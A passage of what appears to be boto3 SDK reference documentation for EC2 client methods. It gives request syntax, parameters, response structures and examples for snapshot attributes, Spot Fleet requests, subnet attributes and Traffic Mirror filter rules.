_(dict) --_ + + Describes the configuration settings for the modified Reserved Instances. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone for the modified Reserved Instances. + + * **InstanceCount** _(integer) --_ + + The number of modified Reserved Instances. + + Note + + This is a required field for a request. + + * **InstanceType** _(string) --_ + + The instance type for the modified Reserved Instances. + + * **Platform** _(string) --_ + + The network platform of the modified Reserved Instances, which is either EC2-Classic or EC2-VPC. + + * **Scope** _(string) --_ + + Whether the Reserved Instance is applied to instances in a Region or instances in a specific Availability Zone. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReservedInstancesModificationId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of ModifyReservedInstances. + + * **ReservedInstancesModificationId** _(string) --_ + + The ID for the modification. + + +modify_snapshot_attribute(kwargs_) + +Adds or removes permission settings for the specified snapshot. You may add or remove specified AWS account IDs from a snapshot's list of create volume permissions, but you cannot do both in a single operation. If you need to both add and remove account IDs for a snapshot, you must use multiple operations. You can make up to 500 modifications to a snapshot in a single operation. + +Encrypted snapshots and snapshots with AWS Marketplace product codes cannot be made public. Snapshots encrypted with your default CMK cannot be shared with other accounts. + +For more information about modifying snapshot permissions, see [Sharing snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifySnapshotAttribute) + +**Request Syntax** + +response = client.modify_snapshot_attribute( + Attribute='productCodes'|'createVolumePermission', + CreateVolumePermission={ + 'Add': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'Remove': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ] + }, + GroupNames=[ + 'string', + ], + OperationType='add'|'remove', + SnapshotId='string', + UserIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- The snapshot attribute to modify. Only volume creation permissions can be modified. +* **CreateVolumePermission** (_dict_) -- + + A JSON representation of the snapshot attribute modification. + + * **Add** _(list) --_ + + Adds the specified AWS account ID or group to the list. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + + * **Remove** _(list) --_ + + Removes the specified AWS account ID or group from the list. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + +* **GroupNames** (_list_) -- + + The group to modify for the snapshot. + + * _(string) --_ +* **OperationType** (_string_) -- The type of operation to perform to the attribute. +* **SnapshotId** (_string_) -- + + **[REQUIRED]** + + The ID of the snapshot. + +* **UserIds** (_list_) -- + + The account ID to modify for the snapshot. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example modifies snapshot snap-1234567890abcdef0 to remove the create volume permission for a user with the account ID 123456789012. If the command succeeds, no output is returned. + +response = client.modify_snapshot_attribute( + Attribute='createVolumePermission', + OperationType='remove', + SnapshotId='snap-1234567890abcdef0', + UserIds=[ + '123456789012', + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example makes the snapshot snap-1234567890abcdef0 public. + +response = client.modify_snapshot_attribute( + Attribute='createVolumePermission', + GroupNames=[ + 'all', + ], + OperationType='add', + SnapshotId='snap-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +modify_spot_fleet_request(kwargs_) + +Modifies the specified Spot Fleet request. + +You can only modify a Spot Fleet request of type maintain . + +While the Spot Fleet request is being modified, it is in the modifying state. + +To scale up your Spot Fleet, increase its target capacity. The Spot Fleet launches the additional Spot Instances according to the allocation strategy for the Spot Fleet request. If the allocation strategy is lowestPrice , the Spot Fleet launches instances using the Spot Instance pool with the lowest price. If the allocation strategy is diversified , the Spot Fleet distributes the instances across the Spot Instance pools. If the allocation strategy is capacityOptimized , Spot Fleet launches instances from Spot Instance pools with optimal capacity for the number of instances that are launching. + +To scale down your Spot Fleet, decrease its target capacity. First, the Spot Fleet cancels any open requests that exceed the new target capacity. You can request that the Spot Fleet terminate Spot Instances until the size of the fleet no longer exceeds the new target capacity. If the allocation strategy is lowestPrice , the Spot Fleet terminates the instances with the highest price per unit. If the allocation strategy is capacityOptimized , the Spot Fleet terminates the instances in the Spot Instance pools that have the least available Spot Instance capacity. If the allocation strategy is diversified , the Spot Fleet terminates instances across the Spot Instance pools. Alternatively, you can request that the Spot Fleet keep the fleet at its current size, but not replace any Spot Instances that are interrupted or that you terminate manually. + +If you are finished with your Spot Fleet for now, but will use it again later, you can set the target capacity to 0. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifySpotFleetRequest) + +**Request Syntax** + +response = client.modify_spot_fleet_request( + ExcessCapacityTerminationPolicy='noTermination'|'default', + LaunchTemplateConfigs=[ + { + 'LaunchTemplateSpecification': { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + 'Overrides': [ + { + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'#39;m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'SpotPrice': 'string', + 'SubnetId': 'string', + 'AvailabilityZone': 'string', + 'WeightedCapacity': 123.0, + 'Priority': 123.0 + }, + ] + }, + ], + SpotFleetRequestId='string', + TargetCapacity=123, + OnDemandTargetCapacity=123 +) + +Parameters + +* **ExcessCapacityTerminationPolicy** (_string_) -- Indicates whether running Spot Instances should be terminated if the target capacity of the Spot Fleet request is decreased below the current size of the Spot Fleet. +* **LaunchTemplateConfigs** (_list_) -- + + The launch template and overrides. You can only use this parameter if you specified a launch template (LaunchTemplateConfigs ) in your Spot Fleet request. If you specified LaunchSpecifications in your Spot Fleet request, then omit this parameter. + + * _(dict) --_ + + Describes a launch template and overrides. + + * **LaunchTemplateSpecification** _(dict) --_ + + The launch template. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + * **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + * **Overrides** _(list) --_ + + Any parameters that you specify override the same parameters in the launch template. + + * _(dict) --_ + + Describes overrides for a launch template. + + * **InstanceType** _(string) --_ + + The instance type. + + * **SpotPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + * **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instances. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + * **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + * **Priority** _(float) --_ + + The priority for the launch template override. If **OnDemandAllocationStrategy** is set to prioritized , Spot Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the launch template override has the lowest priority. + +* **SpotFleetRequestId** (_string_) -- + + **[REQUIRED]** + + The ID of the Spot Fleet request. + +* **TargetCapacity** (_integer_) -- The size of the fleet. +* **OnDemandTargetCapacity** (_integer_) -- The number of On-Demand Instances in the fleet. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of ModifySpotFleetRequest. + + * **Return** _(boolean) --_ + + Is true if the request succeeds, and an error otherwise. + + +**Examples** + +This example increases the target capacity of the specified Spot fleet request. + +response = client.modify_spot_fleet_request( + SpotFleetRequestId='sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + TargetCapacity=20, +) + +print(response) + +Expected Output: + +{ + 'Return': True, + 'ResponseMetadata': { + '...': '...', + }, +} + +This example decreases the target capacity of the specified Spot fleet request without terminating any Spot Instances as a result. + +response = client.modify_spot_fleet_request( + ExcessCapacityTerminationPolicy='NoTermination ', + SpotFleetRequestId='sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + TargetCapacity=10, +) + +print(response) + +Expected Output: + +{ + 'Return': True, + 'ResponseMetadata': { + '...': '...', + }, +} + +modify_subnet_attribute(kwargs_) + +Modifies a subnet attribute. You can only modify one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifySubnetAttribute) + +**Request Syntax** + +response = client.modify_subnet_attribute( + AssignIpv6AddressOnCreation={ + 'Value': True|False + }, + MapPublicIpOnLaunch={ + 'Value': True|False + }, + SubnetId='string', + MapCustomerOwnedIpOnLaunch={ + 'Value': True|False + }, + CustomerOwnedIpv4Pool='string' +) + +Parameters + +* **AssignIpv6AddressOnCreation** (_dict_) -- + + Specify true to indicate that network interfaces created in the specified subnet should be assigned an IPv6 address. This includes a network interface that's created when launching an instance into the subnet (the instance therefore receives an IPv6 address). + + If you enable the IPv6 addressing feature for your subnet, your network interface or instance only receives an IPv6 address if it's created using version 2016-11-15 or later of the Amazon EC2 API. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **MapPublicIpOnLaunch** (_dict_) -- + + Specify true to indicate that network interfaces attached to instances created in the specified subnet should be assigned a public IPv4 address. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **SubnetId** (_string_) -- + + **[REQUIRED]** + + The ID of the subnet. + +* **MapCustomerOwnedIpOnLaunch** (_dict_) -- + + Specify true to indicate that network interfaces attached to instances created in the specified subnet should be assigned a customer-owned IPv4 address. + + When this value is true , you must specify the customer-owned IP pool using CustomerOwnedIpv4Pool . + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **CustomerOwnedIpv4Pool** (_string_) -- + + The customer-owned IPv4 address pool associated with the subnet. + + You must set this value when you specify true for MapCustomerOwnedIpOnLaunch . + + +Returns + +None + +**Examples** + +This example modifies the specified subnet so that all instances launched into this subnet are assigned a public IP address. + +response = client.modify_subnet_attribute( + MapPublicIpOnLaunch={ + 'Value': True, + }, + SubnetId='subnet-1a2b3c4d', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +modify_traffic_mirror_filter_network_services(kwargs_) + +Allows or restricts mirroring network services. + +By default, Amazon DNS network services are not eligible for Traffic Mirror. Use AddNetworkServices to add network services to a Traffic Mirror filter. When a network service is added to the Traffic Mirror filter, all traffic related to that network service will be mirrored. When you no longer want to mirror network services, use RemoveNetworkServices to remove the network services from the Traffic Mirror filter. + +For information about filter rule properties, see [Network Services](https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-considerations.html) in the _Traffic Mirroring User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyTrafficMirrorFilterNetworkServices) + +**Request Syntax** + +response = client.modify_traffic_mirror_filter_network_services( + TrafficMirrorFilterId='string', + AddNetworkServices=[ + 'amazon-dns', + ], + RemoveNetworkServices=[ + 'amazon-dns', + ], + DryRun=True|False +) + +Parameters + +* **TrafficMirrorFilterId** (_string_) -- + + **[REQUIRED]** + + The ID of the Traffic Mirror filter. + +* **AddNetworkServices** (_list_) -- + + The network service, for example Amazon DNS, that you want to mirror. + + * _(string) --_ +* **RemoveNetworkServices** (_list_) -- + + The network service, for example Amazon DNS, that you no longer want to mirror. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorFilter': { + 'TrafficMirrorFilterId': 'string', + 'IngressFilterRules': [ + { + 'TrafficMirrorFilterRuleId': 'string', + 'TrafficMirrorFilterId': 'string', + 'TrafficDirection': 'ingress'|'egress', + 'RuleNumber': 123, + 'RuleAction': 'accept'|'reject', + 'Protocol': 123, + 'DestinationPortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'SourcePortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'DestinationCidrBlock': 'string', + 'SourceCidrBlock': 'string', + 'Description': 'string' + }, + ], + 'EgressFilterRules': [ + { + 'TrafficMirrorFilterRuleId': 'string', + 'TrafficMirrorFilterId': 'string', + 'TrafficDirection': 'ingress'|'egress', + 'RuleNumber': 123, + 'RuleAction': 'accept'|'reject', + 'Protocol': 123, + 'DestinationPortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'SourcePortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'DestinationCidrBlock': 'string', + 'SourceCidrBlock': 'string', + 'Description': 'string' + }, + ], + 'NetworkServices': [ + 'amazon-dns', + ], + 'Description': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorFilter** _(dict) --_ + + The Traffic Mirror filter that the network service is associated with. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter. + + * **IngressFilterRules** _(list) --_ + + Information about the ingress rules that are associated with the Traffic Mirror filter. + + * _(dict) --_ + + Describes the Traffic Mirror rule. + + * **TrafficMirrorFilterRuleId** _(string) --_ + + The ID of the Traffic Mirror rule. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter that the rule is associated with. + + * **TrafficDirection** _(string) --_ + + The traffic direction assigned to the Traffic Mirror rule. + + * **RuleNumber** _(integer) --_ + + The rule number of the Traffic Mirror rule. + + * **RuleAction** _(string) --_ + + The action assigned to the Traffic Mirror rule. + + * **Protocol** _(integer) --_ + + The protocol assigned to the Traffic Mirror rule. + + * **DestinationPortRange** _(dict) --_ + + The destination port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **SourcePortRange** _(dict) --_ + + The source port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **DestinationCidrBlock** _(string) --_ + + The destination CIDR block assigned to the Traffic Mirror rule. + + * **SourceCidrBlock** _(string) --_ + + The source CIDR block assigned to the Traffic Mirror rule. + + * **Description** _(string) --_ + + The description of the Traffic Mirror rule. + + * **EgressFilterRules** _(list) --_ + + Information about the egress rules that are associated with the Traffic Mirror filter. + + * _(dict) --_ + + Describes the Traffic Mirror rule. + + * **TrafficMirrorFilterRuleId** _(string) --_ + + The ID of the Traffic Mirror rule. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter that the rule is associated with. + + * **TrafficDirection** _(string) --_ + + The traffic direction assigned to the Traffic Mirror rule. + + * **RuleNumber** _(integer) --_ + + The rule number of the Traffic Mirror rule. + + * **RuleAction** _(string) --_ + + The action assigned to the Traffic Mirror rule. + + * **Protocol** _(integer) --_ + + The protocol assigned to the Traffic Mirror rule. + + * **DestinationPortRange** _(dict) --_ + + The destination port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **SourcePortRange** _(dict) --_ + + The source port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **DestinationCidrBlock** _(string) --_ + + The destination CIDR block assigned to the Traffic Mirror rule. + + * **SourceCidrBlock** _(string) --_ + + The source CIDR block assigned to the Traffic Mirror rule. + + * **Description** _(string) --_ + + The description of the Traffic Mirror rule. + + * **NetworkServices** _(list) --_ + + The network service traffic that is associated with the Traffic Mirror filter. + + * _(string) --_ + * **Description** _(string) --_ + + The description of the Traffic Mirror filter. + + * **Tags** _(list) --_ + + The tags assigned to the Traffic Mirror filter. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +modify_traffic_mirror_filter_rule(kwargs_) + +Modifies the specified Traffic Mirror rule. + +> DestinationCidrBlock and SourceCidrBlock must both be an IPv4 range or an IPv6 range. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyTrafficMirrorFilterRule) + +**Request Syntax** + +response = client.modify_traffic_mirror_filter_rule( + TrafficMirrorFilterRuleId='string', + TrafficDirection='ingress'|'egress', + RuleNumber=123, + RuleAction='accept'|'reject', + DestinationPortRange={ + 'FromPort': 123, + 'ToPort': 123 + }, + SourcePortRange={ + 'FromPort': 123, + 'ToPort': 123 + }, + Protocol=123, + DestinationCidrBlock='string', + SourceCidrBlock='string', + Description='string', + RemoveFields=[ + 'destination-port-range'|'source-port-range'|'protocol'|'description', + ], + DryRun=True|False +) + +Parameters + +* **TrafficMirrorFilterRuleId** (_string_) -- + + **[REQUIRED]** + + The ID of the Traffic Mirror rule. + +* **TrafficDirection** (_string_) -- The type of traffic (ingress | egress ) to assign to the rule. +* **RuleNumber** (_integer_) -- The number of the Traffic Mirror rule. This number must be unique for each Traffic Mirror rule in a given direction. The rules are processed in ascending order by rule number. +* **RuleAction** (_string_) -- The action to assign to the rule. +* **DestinationPortRange** (_dict_) -- + + The destination ports that are associated with the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The first port in the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The last port in the Traffic Mirror port range. This applies to the TCP and UDP protocols. + +* **SourcePortRange** (_dict_) -- + + The port range to assign to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The first port in the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The last port in the Traffic Mirror port range. This applies to the TCP and UDP protocols. + +* **Protocol** (_integer_) -- The protocol, for example TCP, to assign to the Traffic Mirror rule. +* **DestinationCidrBlock** (_string_) -- The destination CIDR block to assign to the Traffic Mirror rule. +* **SourceCidrBlock** (_string_) -- The source CIDR block to assign to the Traffic Mirror rule. +* **Description** (_string_) -- The description to assign to the Traffic Mirror rule. +* **RemoveFields** (_list_) -- + + The properties that you want to remove from the Traffic Mirror filter rule. + + When you remove a property from a Traffic Mirror filter rule, the property is set to the default. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorFilterRule': { + 'TrafficMirrorFilterRuleId': 'string', + 'TrafficMirrorFilterId': 'string', + 'TrafficDirection': 'ingress'|'egress', + 'RuleNumber': 123, + 'RuleAction': 'accept'|'reject', + 'Protocol': 123, + 'DestinationPortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'SourcePortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'DestinationCidrBlock': 'string', + 'SourceCidrBlock': 'string', + 'Description': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorFilterRule** _(dict) --_ + + Modifies a Traffic Mirror rule. + + * **TrafficMirrorFilterRuleId** _(string) --_ + + The ID of the Traffic Mirror rule. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter that the rule is associated with. + + * **TrafficDirection** _(string) --_ + + The traffic direction assigned to the Traffic Mirror rule. + + * **RuleNumber** _(integer) --_ + + The rule number of the Traffic Mirror rule. + + * **RuleAction** _(string) --_ + + The action assigned to the Traffic Mirror rule. + + * **Protocol** _(integer) --_ + + The protocol assigned to the Traffic Mirror rule. + + * **DestinationPortRange** _(dict) --_ + + The destination port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **SourcePortRange** _(dict) --_ + + The source port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **DestinationCidrBlock** _(string) --_ + + The destination CIDR block assigned to the Traffic Mirror rule. + + * **SourceCidrBlock** _(string) --_ + + The source CIDR block assigned to the Traffic Mirror rule. + + * **Description** _(string) --_ + + The description of the Traffic Mirror 